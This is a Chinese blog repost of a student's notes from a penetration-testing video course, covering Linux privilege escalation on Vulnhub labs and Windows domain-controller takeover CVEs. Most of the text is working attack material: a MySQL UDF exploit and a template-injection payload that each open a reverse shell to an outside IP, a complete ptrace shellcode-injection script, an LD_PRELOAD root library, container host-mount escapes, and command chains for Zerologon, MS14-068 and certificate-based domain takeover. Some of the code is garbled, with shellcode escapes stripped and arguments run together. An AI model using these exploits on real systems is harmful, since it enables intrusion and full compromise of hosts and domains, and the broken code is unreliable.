小迪安全笔记—最新B站视频笔记-Linux 提权-下

admin 2025年3月27日20:12:14评论11 views字数 13792阅读45分58秒阅读模式

从刘迪(小迪安全)  迪总yyd

免责声明:仅供参考学习,禁止非法活动,如有违法犯罪,概不追究本人责任。

141-权限提升-Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

Linux系统提权-Web&用户-数据库类型

https://www.vulnhub.com/entry/raven-2,269/

信息收集

http://192.168.139.155/vendor/

小迪安全笔记—最新B站视频笔记-Linux 提权-下

Web权限获取

searchsploit phpmailerpython -c 'import pty; pty.spawn("/bin/bash")'
小迪安全笔记—最新B站视频笔记-Linux 提权-下

先用我的方法

利用哥斯拉先生成一个一句话木马,将shell给到哥斯拉工具上,然后链接mysql 给他输入sql语句强制开启远程链接,再用MT提数据库权限。

我本地用python搭建一个服务器,给我搭建的服务器一个一句话木马,然后用 将 kali 上的shell  wget我搭建服务器上的一句话木马,将木马上传到受害服务器里面。最后哥斯拉getshell

小迪安全笔记—最新B站视频笔记-Linux 提权-下

然后用到win提权篇章,mysql提权

找到mysql的root用户的密码

小迪安全笔记—最新B站视频笔记-Linux 提权-下

拿下MySQL账号密码

小迪安全笔记—最新B站视频笔记-Linux 提权-下

强制开启远程链接 用Multiple.Database.Utilization.Tools 链接(狗头)

哈哈哈哈哈 打这个靶场 这个靶场开了防火墙  对外 不开放 3306 端口, 只有 主机本身 能够访问这个端口

所以  都是白扯 都不行 ,只能通过别的方法提权 到root把 这个给关了,但是又很矛盾。

所以不能 用这个工具链接 即使强制开启 链接

感谢 迪总的点拨

感谢 群里面的大佬给我说的。

小迪安全笔记—最新B站视频笔记-Linux 提权-下
小迪安全笔记—最新B站视频笔记-Linux 提权-下

用迪总的思路-(防止上面的思路)

3、MYSQL-UDF提权:-编译UDF.sosearchsploit udfcp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lcpython -m http.server 8080-下载到目标上python -c 'import pty; pty.spawn("/bin/bash")'cd tmpwget http://192.168.139.141:8080/udf.so
小迪安全笔记—最新B站视频笔记-Linux 提权-下

-连接进行导出调用

mysql -uroot -pR@v3nSecurity   进入mysqlselect version(); #查看mysql版本  select @@basedir#确认mysql安装位置show variables like '%basedir%'#确认mysql安装位置show variables like '%secure%'#查看可导出文件位置 (如果开启 文件写入和导出是会限制的,但在本靶场上是关的)show variables like '%plugin%'#查找插件位置  (就是上面生成的文件 要放在哪里)show variables like '%compile%'#查看系统版本
小迪安全笔记—最新B站视频笔记-Linux 提权-下
# 创建xiaodi表use mysql;create table xiaodi(line blob);# 往xiaodi表中插入二进制的udf.soinsert into xiaodi values(load_file('/tmp/udf.so'));# 导出udf.soselect * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';  # 创建do_system自定义函数create function do_system(这个名字可以随便起) returns integer soname 'udf.so';select do_system(更上面一样)('nc 192.168.1.5 6666 -e /bin/bash');

第六行  为什么刚才下载不直接 讲文件 导入 到  '/usr/lib/mysql/plugin/udf.so' 这个目录下 是因为  我把文件写入到mysql里面,用mysql服务转移这个文件,到 '/usr/lib/mysql/plugin/udf.so'这个目录,是有权限转的。但如果我没有 mysql这个媒介我是没有权限这样 转移文件的。

ok拿下

小迪安全笔记—最新B站视频笔记-Linux 提权-下

Linux系统提权-Web&用户-Capability能力

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html(这篇文章很好)

还有漏洞利用参考网站 : https://gtfobins.github.io/

原理演示:

管理员设置权限

cp /usr/bin/php /tmp/php                    将php文件 拷贝到/tmp目录下 设置能力:setcap cap_setuid+ep /tmp/php        给 /tmp/php一个 附属 cap_setuid的能力 (cap_setuid 为 ) https://www.jianshu.com/p/60673ac0454f这篇文章有讲到 下面有说明删除能力:setcap -r /tmp/php查看单个能力:getcap /usr/bin/php查看所有能力:getcap -r / 2>/dev/null
小迪安全笔记—最新B站视频笔记-Linux 提权-下

普通用户提权

小迪安全笔记—最新B站视频笔记-Linux 提权-下

通过这个https://gtfobins.github.io/ 搜索php

通过 网站 https://gtfobins.github.io/ 参考 发现上面的 tmp/php 可以利用发现 /tmp/php  可以利用  接下来 用 
小迪安全笔记—最新B站视频笔记-Linux 提权-下
小迪安全笔记—最新B站视频笔记-Linux 提权-下

参考模块

CAP_CHOWN 0 允许改变文件的所有权CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制CAP_DAC_READ_SEARCH 2 忽略所有对读搜索操作的限制CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UIDCAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位CAP_KILL 5 允许对不属于自己的进程发送信号CAP_SETGID 6 允许改变组IDCAP_SETUID 7 允许改变用户IDCAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)CAP_NET_ADMIN 12 允许执行网络管理任务:接口防火墙和路由等.CAP_NET_RAW 13 允许使用原始(raw)套接字CAP_IPC_LOCK 14 允许锁定共享内存片段CAP_IPC_OWNER 15 忽略IPC所有权检查CAP_SYS_MODULE 16 插入和删除内核模块CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问CAP_SYS_CHROOT 18 允许使用chroot()系统调用CAP_SYS_PTRACE 19 允许跟踪任何进程CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.CAP_SYS_BOOT 22 允许重新启动系统CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级CAP_SYS_RESOURCE 24 忽略资源限制CAP_SYS_TIME 25 允许改变系统时钟CAP_SYS_TTY_CONFIG 26 允许配置TTY设备CAP_MKNOD 27 允许使用mknod()系统调用CAP_LEASE 28 允许在文件上建立租借锁CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序作者:循环不计次链接:https://www.jianshu.com/p/60673ac0454f来源:简书著作权归作者所有商业转载请联系作者获得授权,非商业转载请注明出处
小迪安全笔记—最新B站视频笔记-Linux 提权-下

Chat gpt 的回答

从图片内容来看,您在讨论 Linux 系统下利用 CAP_SETUID 能力提升权限的原理问题具体提到两点疑问:PHP 被设置为 cap_setuid+ep 的能力后,是不是可以直接使用 https://gtfobins.github.io/ 上的代码去提权?是否只要 PHP 拥有 Capability 能力,不管具体是设置什么,是否都能提权?解答如下:1. 为什么设置了 cap_setuid+ep 后可以使用提权代码?CAP_SETUID 能力允许进程在运行时切换用户 ID(UID)如果 PHP 被赋予了 CAP_SETUID 能力(setcap cap_setuid+ep /path/to/php),PHP 脚本就可以调用类似 posix_setuid(0) 的函数将 UID 切换为 root(UID 为 0),进而执行高权限命令gtfobins.github.io 提供的提权代码正是利用这个特性,通过执行 /bin/sh 来打开一个高权限 shell2. 是否所有 Capability 都能提权?并不是所有 Capability 都能直接用于提权,关键在于:被赋予的能力是否允许进程绕过系统的权限限制例如:CAP_SETUID 能力显然是有提权风险的,而 CAP_NET_BIND_SERVICE 只是允许非 root 用户绑定 1024 以下端口,这种能力本身不能直接导致提权因此:只有 PHP 被赋予了特定的敏感能力(例如 CAP_SETUID),才能利用 gtfobins.github.io 上的代码提权如果是其他与权限无关的 Capability,则不能直接通过代码切换 UID 或提权如果您还有其他疑问,可以继续深入探讨!反正就搜一下 有这个命令 然后 直接搞 不行就算了 

真实靶场环境

WP参考:https://www.jianshu.com/p/60673ac0454f

环境:https://www.vulnhub.com/entry/hacker-kid-101,719/

直接登入

如何知道账号密码吗,这里就不赘述了,直接登入

账号:saket

密码:Saket!#$%@!!

小迪安全笔记—最新B站视频笔记-Linux 提权-下
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}

上面登入进去有python的模板注入

利用代码

http://192.168.1.6:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E1%2E5%2F6688+0%3E%261%22%27%29%7D%7D
小迪安全笔记—最新B站视频笔记-Linux 提权-下
/sbin/getcap -r / 2>/dev/null  (需要新建一个终端 如果只是/getcap -r / 2>/dev/null  是没有回显得)cap_sys_ptrace+ep 允许pytho 跟踪所有进程所以就可以利用python进行 进程注入 去提权
小迪安全笔记—最新B站视频笔记-Linux 提权-下

下载进程注入脚本

脚本源码:python Capabilities cap_sys_ptrace+ep提权 - 隐念笎 - 博客园

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4PTRACE_GETREGS    = 12PTRACE_SETREGS    = 13PTRACE_ATTACH     = 16PTRACE_DETACH     = 17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):    _fields_ = [        ("r15", ctypes.c_ulonglong),        ("r14", ctypes.c_ulonglong),        ("r13", ctypes.c_ulonglong),        ("r12", ctypes.c_ulonglong),        ("rbp", ctypes.c_ulonglong),        ("rbx", ctypes.c_ulonglong),        ("r11", ctypes.c_ulonglong),        ("r10", ctypes.c_ulonglong),        ("r9", ctypes.c_ulonglong),        ("r8", ctypes.c_ulonglong),        ("rax", ctypes.c_ulonglong),        ("rcx", ctypes.c_ulonglong),        ("rdx", ctypes.c_ulonglong),        ("rsi", ctypes.c_ulonglong),        ("rdi", ctypes.c_ulonglong),        ("orig_rax", ctypes.c_ulonglong),        ("rip", ctypes.c_ulonglong),        ("cs", ctypes.c_ulonglong),        ("eflags", ctypes.c_ulonglong),        ("rsp", ctypes.c_ulonglong),        ("ss", ctypes.c_ulonglong),        ("fs_base", ctypes.c_ulonglong),        ("gs_base", ctypes.c_ulonglong),        ("ds", ctypes.c_ulonglong),        ("es", ctypes.c_ulonglong),        ("fs", ctypes.c_ulonglong),        ("gs", ctypes.c_ulonglong),    ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, NoneNone)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):  # Convert the byte to little endian.  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')  shellcode_byte=int(shellcode_byte_little_endian,16)  # Inject the byte.  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, NoneNone)
python -m http.server 8080wget http://192.168.139.141:8080/inject.py
小迪安全笔记—最新B站视频笔记-Linux 提权-下

3、因为需要找root进程进行注入,所以简单写个脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 11.py $idonenc 192.168.1.6 5600
小迪安全笔记—最新B站视频笔记-Linux 提权-下

结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

Linux系统提权-普通用户-LD_Preload加载

原理

就跟 win的dll劫持注入提权差不多,就是因为有了LD_Preload 加载,就可以 在加载文件的时候,指定加载一个 xxx.so文件 实现提权的效果。

参考:https://www.cnblogs.com/backlion/p/10503985.html

实验一(sudo)

Defaults env_keep += LD_PRELOAD  (启用这个模式 条件)

test(低权限用户名字) ALL=(ALL:ALL) NOPASSWD: /usr/bin/find   (sudo  条件)

这两个设置 会造成连个提权漏洞(其一是sudo提权  其二是LD_Preload提权)

小迪安全笔记—最新B站视频笔记-Linux 提权-下

这两个设置 会造成连个提权漏洞(其一是sudo提权  其二是LD_Preload提权)

先来sudo

小迪安全笔记—最新B站视频笔记-Linux 提权-下

利用sudo 拿下权限

小迪安全笔记—最新B站视频笔记-Linux 提权-下

实验二(LD_Preload)

条件

Defaults env_keep += LD_PRELOAD  (启用这个模式 条件)

test(低权限用户名字) ALL=(ALL:ALL) NOPASSWD: /usr/bin/find   (sudo  条件)

先编译好文件

避坑 那个c文件需要这样写

#include<stdio.h>#include<stdlib.h>#include<sys/types.h>#include<unistd.h>void _init() {    unsetenv("LD_PRELOAD");   // 清除 LD_PRELOAD 环境变量    setgid(0);                 // 设置组 ID 为 0 (root)    setuid(0);                 // 设置用户 ID 为 0 (root)    system("/bin/sh");        // 启动一个 shell}
gcc -fPIC -shared -o 2.so 2.c -nostartfiles
小迪安全笔记—最新B站视频笔记-Linux 提权-下
sudo LD_PRELOAD=/tmp/2.so find  (这个命令就是 让这个find执行的时候绑定 这个 2.so文件  因为find 是sudo给予root 权限所以 执行root的时候用root权限执行2.so文件 成功root权限)whoami
小迪安全笔记—最新B站视频笔记-Linux 提权-下

实验三 

Defaults env_keep += LD_PRELOADtest ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.shsudo LD_PRELOAD=/tmp/2.so /tmp/LinEnum.sh

疑问:通过上面两个实验,我们是不是绝对第二个实验有点多余,为什么我不直接用 find 去提权,而是 用LD_Preload 去提权呢?

因为: 如果我sudo不使用 find 或者别的,请问阁下该如何应对   那就需要  LD_Preload  去提权了 这里 sudo我配置 LinEnum.sh文件,那么 在使用xb 这个低权限用户时候就需要  LD_Preload提权手法 让在执行 LinENum.sh文件的时候提前 执行 2.so文件。

或者是分析 LinEnum.sh文件是否支持 命令执行 二进制的东西 我就不太会了

有参考文章  sudo 配合 全局路径 提取

https://blog.51cto.com/u_15072780/4384532

https://www.huangmj.com/17123057141312.html

小迪安全笔记—最新B站视频笔记-Linux 提权-下

结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权

(sudo 配合 环境变量 提权  咳咳咳)

https://blog.51cto.com/u_15072780/4384532

小迪安全笔记—最新B站视频笔记-Linux 提权-下

142-权限提升-Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄漏

Linux系统提权-普通用户-LXD容器

原理

LXD是基于LXC容器的管理程序,当前用户可操作容器,理解为用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。lxd本地提权条件:-已经获得Shell-用户属于lxd组靶场环境  https://www.vulnhub.com/entry/ai-web-2,357/.

入口点:(这里就不演示如何得到这个的,有兴趣可以搞一下)

ssh的账号密码

User: n0nr00tuser

Pass: zxowieoi4sdsadpEClDws1sf

发现是lxd用户的

小迪安全笔记—最新B站视频笔记-Linux 提权-下

检测及利用

./LinEnum.sh

https://github.com/saghul/lxd-alpine-builder(在目标主机上下载lxd镜像)

小迪安全笔记—最新B站视频笔记-Linux 提权-下

创建容器,挂载磁盘,进入容器,进入目录提权

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test      (镜像导入 命名为testlxc init test test -c security.privileged=true                                (初始化这个镜像)lxc config device add test test disk source=/ path=/mnt/root recursive=true    (配置这个镜像的磁盘,source=/ 这个是真机根目录 path=/mnt/root 镜像里面的目录) lxc start test                                                        lxc exec test /bin/sh                                         cd /mnt/root/root          (相当于进入 真机的 root目录)                                                   (相当于真机的/root目录)cat flag.txt

提权

虽然可以看到,但是还是不能执行命令,下一节会讲到如何执行命令(但现在就是root权限 如果不是root权限是看不到 flag.txt文件的)

小迪安全笔记—最新B站视频笔记-Linux 提权-下

Linux系统提权-普通用户-Docker容器

(一个普通用户在这个是在 真机上 发现真机上有 Docker 那么我们不妨尝试利用Docker相对应的提权漏洞去提权)

条件: 普通用户 && 这个普通用户在Docker组中

原理解释

把一个普通账号test添加到docker组使用newgrp将root初始组切换为dockerusermod -G docker test  (加入 docker 用户组 将test用户加进去)newgrp dockersu test  切换到 test用户 docker run -v /:/mnt -it alpine (将真机的根目录 放到 mnt目录  随便拉个目录 )所以 ls /mnt/root   (这里查看 就是真机的 root目录 这个相当于 上面得  lxd)  提权了

Docker本地提权条件

1、已经获得Shell

2、用户属于docker组

参考:云安全95-96课的逃逸

https://www.vulnhub.com/entry/chill-hack-1,622/

1、入口点的ssh:

User: anurodhPass: !d0ntKn0wmYp@ssw0rd2、检测及利用:./LinEnum.sh3、创建容器,挂载磁盘,进入容器,进入目录提权docker run -v /:/mnt -it alpinecd /mnt/root
小迪安全笔记—最新B站视频笔记-Linux 提权-下

Linux系统提权-普通用户-Rbash绕过(只是绕过 不是提权哦)

参考:https://xz.aliyun.com/t/7642

Rbash(The Restricted mode of bash),也就是限制型bash

在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

sudoadduser xiaodisec

sudo usermod -s /bin/rbash xiaodisec

https://www.vulnhub.com/entry/funbox-rookie,520/

入口点:

破解压缩密码

小迪安全笔记—最新B站视频笔记-Linux 提权-下
fscan -h 192.168.1.0/24ftp 192.168.1.8get tom.zip(密码:iubire)
小迪安全笔记—最新B站视频笔记-Linux 提权-下

ssh链接

ssh tom@192.168.1.8 -i id_rsa2、Rbash绕过:python -m http.server 8080wget http://192.168.1.3:8080/LinEnum.sh
小迪安全笔记—最新B站视频笔记-Linux 提权-下

rbash 绕过

https://xz.aliyun.com/t/7642  绕过rbash大全

awk 'BEGIN {system("/bin/bash")}'
小迪安全笔记—最新B站视频笔记-Linux 提权-下

3历史泄漏提权

./LinEnum.shcat /home/tom/.mysql_historysu root(xx11yy22!)
小迪安全笔记—最新B站视频笔记-Linux 提权-下

143-权限提升-Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞

实战场景:

通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,

与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。

就是通过拿下域中一台主机和账号密码,然后通过域漏洞,从而拿下整个域的权限

WIN-AD域控提权-CVE-2014-6324

这个实验我就不做了,电脑没一点内存了。

前提条件:

1、需要域用户账号密码

2、一台主机的管理员权限

whoami /user

net time /domain

net config workstation

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

ms14-068.exe -u [email protected] -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org

kerberos::list

kerberos::purge

kerberos::ptc "[email protected]"

dir\OWA2010CN-God.god.orgC$

psexec \OWA2010CN-God.god.org cmd

WIN-AD域控提权-CVE-2021-42287

只需要域用户账号密码

https://github.com/WazeHell/sam-the-admin

python3 sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

#WIN-AD域控提权-CVE-2020-1472

CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,

影响Windows Server 2008R2至Windows Server 2019的多个版本系统,

只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.

该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.

计算机名:nbtscan -v -h 192.168.3.21

漏洞检测:python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21

重置空密码:python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

连接后导出:python3 secretsdump.py god.org/OWA2010CN-GOD$@192.168.3.21 -no-pass

WMI连接反弹:

python3 wmiexec.py god/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

WIN-AD域控提权-CVE-2022-26923

前提条件:

1、一个域内普通账号

2、域内存在证书服务器

Kali添加访问域内信息 /etc/hosts

192.168.3.111 xiaodi.local

192.168.3.111 xiaodi-DC-CA

192.168.3.111 DC.xiaodi.local

获取CA结构名和计算机名

certutil -config - -ping

域内信息

192.168.3.111

test Pass123

xiaodi-DC-CA

DC.xiaodi.local

1、申请证书:(Certipy)

certipy req 'xiaodi.local/test:[email protected]' -ca xiaodi-DC-CA -template User -debug

2、检测证书(Certipy)

certipy auth -pfx test.pfx

3、添加用户:(bloodyAD)

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'

4、设置属性:(bloodyAD)

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'

5、申请证书:(Certipy)

certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug

6、检测证书:(Certipy)

certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111

7、获取HASH:(impacket)

python3 secretsdump.py 'xiaodi.local/[email protected]' -hashes :b6046c1026699b59301ff66341838df4

8、利用HASH:(impacket)

python3 wmiexec.py xiaodi.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

原文始发于微信公众号(嵩艺):小迪安全笔记—最新B站视频笔记-Linux 提权-下

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月27日20:12:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小迪安全笔记—最新B站视频笔记-Linux 提权-下https://cn-sec.com/archives/3891123.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息